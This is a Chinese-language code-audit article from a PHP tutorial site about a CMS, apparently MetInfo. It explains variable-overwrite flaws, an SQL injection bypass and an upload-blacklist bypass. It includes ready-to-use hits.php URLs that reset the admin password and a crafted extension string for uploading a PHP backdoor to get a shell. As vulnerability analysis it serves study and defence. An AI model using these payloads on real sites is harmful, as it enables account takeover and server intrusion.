来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] 1、审计代码我一般喜欢先看核心文件。Download download txtdefine( MAGIC_QUOTES_GPC , get_magic_quotes_gpc());isset($_REQUEST[ GLOBALS ]) exit( Access Error );require_once ROOTPATH i...
1、审计代码我一般喜欢先看核心文件。
Download download.txt
define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc()); isset($_REQUEST['GLOBALS']) && exit('Access Error'); require_once ROOTPATH.'include/global.func.php'; foreach(array('_COOKIE', '_POST', '_GET') as $_request) { foreach($$_request as $_key => $_value) { $_key{0} != '_' && $$_key = daddslashes($_value); } }
include\common.inc.php 大概从21行开始程序使用了伪register_globals机制,
程序判断了key的第一个字符是不是“_”来避免覆盖系统全局变量,以及使用自定义函数daddslashes来避免注入。
Download download.txt
function daddslashes($string, $force = 0,$metinfo) { global $met_sqlinsert; !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc()); if(!MAGIC_QUOTES_GPC || $force) { if(is_array($string)) { foreach($string as $key => $val) { $string[$key] = daddslashes($val, $force); } } else { $string = addslashes($string); } } if(!is_array($string)){ $string_old = $string; $string = str_ireplace("\"","/",$string); $string = str_ireplace("'","/",$string); $string = str_ireplace("*","/",$string); $string = str_ireplace("~","/",$string); $string = str_ireplace("select", "\sel\ect", $string); $string = str_ireplace("insert", "\ins\ert", $string); $string = str_ireplace("update", "\up\date", $string); $string = str_ireplace("delete", "\de\lete", $string); $string = str_ireplace("union", "\un\ion", $string); $string = str_ireplace("into", "\in\to", $string); $string = str_ireplace("load_file", "\load\_\file", $string); $string = str_ireplace("outfile", "\out\file", $string); $string_html=$string; $string = strip_tags($string); if($string_html!=$string){ $string=''; } $string = str_replace("%", "\%", $string); // /* if(strlen($string_html)!=strlen($string)){ $reurl="http://".$_SERVER["HTTP_HOST"]; echo("<script type='text/javascript'> alert('Submitted information is not legal!'); location.href='$reurl'; </script>"); die("Parameter Error!"); } */ if(strlen($string_old)!=strlen($string)&&$met_sqlinsert){ $reurl="http://".$_SERVER["HTTP_HOST"]; echo("<script type='text/javascript'> alert('Submitted information is not legal!'); location.href='$reurl'; </script>"); die("Parameter Error!"); } $string = trim($string); } if($id!=""){ if(!is_numeric($id)){ $reurl="http://".$_SERVER["HTTP_HOST"]; echo("<script type='text/javascript'> alert('Parameter Error!'); location.href='$reurl'; </script>"); die("Parameter Error!"); }} if($class1!=""){ if(!is_numeric($class1)){ $reurl="http://".$_SERVER["HTTP_HOST"]; echo("<script type='text/javascript'> alert('Parameter Error!'); location.href='$reurl'; </script>"); die("Parameter Error!"); }} if($class2!=""){ if(!is_numeric($class2)){ $reurl="http://".$_SERVER["HTTP_HOST"]; echo("<script type='text/javascript'> alert('Parameter Error!'); location.href='$reurl'; </script>"); die("Parameter Error!"); }} if($class3!=""){ if(!is_numeric($class3)){ $reurl="http://".$_SERVER["HTTP_HOST"]; echo("<script type='text/javascript'> alert('Parameter Error!'); location.href='$reurl'; </script>"); die("Parameter Error!"); }} return $string; }
虽然无法覆盖系统全局变量,以及一些注入被过滤,但还是埋下了安全隐患。
2、变量未初始化以及extract函数使用不当。
在common.inc.php文件随后的代码里包含了一个config.inc.php的文件, 看名字就知道是一些初始化变量配置, 程序将应用程序所需变量
放在了register_globals机制之后声明估计就是怕变量被覆盖.但是config.inc.php的一个数组$settings却忘记了初始化.
/*读配置数据*/ $query = "SELECT * FROM $met_config WHERE lang='$lang' or lang='metinfo'"; $result = $db->query($query); while($list_config= $db->fetch_array($result)){ if($metinfoadminok)$list_config['value']=str_replace('"', '"', str_replace("'", ''',$list_config['value'])); $settings_arr[]=$list_config; if($list_config['columnid']){ $settings[$list_config['name'].'_'.$list_config['columnid']]=$list_config['value']; }else{ $settings[$list_config['name']]=$list_config['value']; } if($list_config['flashid']){ $list_config['value']=explode('|',$list_config['value']); $falshval['type']=$list_config['value'][0]; $falshval['x']=$list_config['value'][1]; $falshval['y']=$list_config['value'][2]; $falshval['imgtype']=$list_config['value'][3]; $met_flasharray[$list_config['flashid']]=$falshval; } } @extract($settings);
在没有初始化的情况下又使用了extract($settings),结合前面的register_globals机制这样就导致多个变量可以被覆盖掉从而控制整个程序逻辑.
3、sql注入绕过。
前面的防注入函数里可以看到替换了一些常用的关键字,使注入的难度增加了,但那仅仅只对sql语句的where之后注入有所防范。
对于可以覆盖系统变量的咋们来讲就不太管用了而且无视GPC,sql注释符也没有过滤。
为了降低攻击成本我挑了一处最容易实现攻击地方,一个update的sql语句。
在 include\hits.php的25行左右。
$query = “update $met_hits SET hits=’$hits_list[hits]‘ where id=’$id’”;
覆盖掉$met_hits变量就可以update任何数据表,如修改管理员密码。hits.php?type=img&settings[met_img]=met_admin_table+SET+admin_introduction=admin_pass,admin_pass=md5(1)+WHERE+id=1%23
使用密码1登陆后台拿shell,再把管理员密码改回来。
hits.php?type=img&settings[met_img]=met_admin_table+SET+admin_pass=admin_introduction+WHERE+id=1%23
4、上传饶过。
刚刚说到的后台拿shell,前台也可以并且无须登验证,程序在多个地方存在上传功能,虽然使用了黑白名单的过滤机制但是并无完善。
白名单可以使用前面的update注入点向met_config表添加一个我们想要上传的后缀即可。我们来看看黑名单。(job\uploadfile_save.php)
$met_file_format=str_replace("php","",strtolower($met_file_format)); $met_file_format=str_replace("aspx","",strtolower($met_file_format)); $met_file_format=str_replace("asp","",strtolower($met_file_format)); $met_file_format=str_replace("jsp","",strtolower($met_file_format)); $met_file_format=str_replace("js","",strtolower($met_file_format)); if($met_file_format != "" && !in_array(strtolower($ext), explode("|", strtolower($met_file_format)))){ okinfo('javascript:history.go(-1);',$lang_js23); }
$met_file_format是在数据库里设置的白名单,此处程序将一些常用脚本后缀给替换了,但是存在明显逻辑错误。
错误1程序将危险后缀替换成空,错误2替换顺序混乱。如果我想上传php脚本后门只需要update白名单为:
rar|zip|doc|pdf|jpg|xls|png|gif|mp3|jpeg|bmp|swf|flv|ico|pphpaspxhp
pphpaspxhp经过第一轮替换变成paspxhp, 第二轮替换就变成了php. 文件名使用了时间+三位随机数字可以选择爆破也可以去后台直接查看文件名
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com